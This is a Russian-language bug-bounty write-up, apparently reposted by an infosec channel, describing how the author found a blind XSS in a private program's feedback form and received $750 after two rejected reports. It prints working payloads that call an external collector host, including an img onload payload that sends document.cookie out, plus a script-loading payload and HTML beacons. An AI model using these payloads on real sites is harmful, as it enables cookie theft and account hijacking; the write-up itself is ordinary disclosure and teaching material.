Информационная безопасность (ИБ)
September 11

От нуля до вознаграждения в $750 за Blind XSS

Без лишних слов, постараюсь изложить всё по существу.

Это частная программа, поэтому будем называть её www.target.com.

Уязвимая форма: форма обратной связи на сайте www.target.com.

Я использовал www.blindf.com для поиска Blind XSS. Вы можете использовать свой собственный VPS для получения ответа.

Моя методика поиска Blind XSS:

По моему опыту, базовый payload для Blind XSS

"></script><script src=https://blindf.com/bx.php></script>

часто не работает. Также любой другой payload, который извлекает DOM или исходный код страницы, тоже не всегда срабатывает. Поэтому для поиска Blind XSS я использую "слепые" HTML payload'ы:

"><img src=’https://blindf.com/b.php?c=querytoremember'/>

в каждом текстовом поле. Причина их использования заключается в обходе WAF или любой другой защиты, внедрённой разработчиком. Поскольку данный payload не использует код на JavaScript и теги «script», он выполняется без проблем и отправляет ответ на www.blindf.com при выполнении. После получения ответа можно приступать к тестированию Blind XSS.

Как я нашёл эту уязвимость:

Я использовал BHTML payload:

"><img src=’https://blindf.com/b.php?c=querytoremember'>

во всех текстовых полях формы обратной связи на сайте www.target.com/feedback.

Через несколько дней www.blindf.com получил ответ с уязвимого сервера.

Я перешел к использованию базового payload для Blind XSS:

"></script><script src=https://blindf.com/bx.php></script>

чтобы проверить наличие уязвимости Blind XSS. Поскольку к тому моменту я уже знал, что форма уязвима.

Я ждал 20 дней, но ответа так и не получил.

Затем я решил применить хитрость. Я вставил слепой HTML payload:

"><img src=’https://blindf.com/b.php?c=target_com_latestpayload'>

и отправил форму. Я отправил форму повторно с моим базовым payload для Blind XSS. Таким образом, я отправил форму дважды: первый раз с BHTML payload, а второй — с BXSS payload.

Через некоторое время я получил ответ на BHTML payload, но на BXSS payload ответа не было. Я понял, что мой BXSS payload не сработал и больше не отправит ответ. Поскольку оба payload'а были отправлены в один и тот же день, они должны были быть выполнены одновременно.

На www.blindf.com есть и другие payload'ы, которые требуют минимального выполнения JavaScript. Я использовал другой payload, который просто извлекает cookies, не касаясь значений DOM на странице.

Нагрузка:

"><img src=https://blindf.com/a.jpg onload=this.src=’https://blindf.com/oc.php/?c='+document.cookie>
  • Этот payload был выполнен, и я получил базовый cookie.
  • Отправка отчёта об ошибке
  • Триажер попытался воспроизвести баг, но ему это не удалось. Поэтому он отклонил мой отчёт с пометкой "N/a" (не применимо).
  • Я поднял вопрос повторно. Другой триажер использовал популярный веб-сайт для поиска Blind XSS, но снова не получил ответа.
  • Отчёт вновь был закрыт как "N/a".
  • Я снова поднял вопрос и предоставил ему учетные данные от моего аккаунта на www.blindf.com, чтобы он мог воспроизвести баг.
  • Я попросил его заполнить форму дважды: первый раз с BHTML payload, второй — с BXSS (payload для извлечения cookies).
  • Обе нагрузки были выполнены, и www.blindf.com получил ответы от них обоих.
  • Триаж прошёл успешно
  • Вознаграждение получено: $750

После того, как мои отчёты дважды закрывали с пометкой "N/a", я наконец получил вознаграждение.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор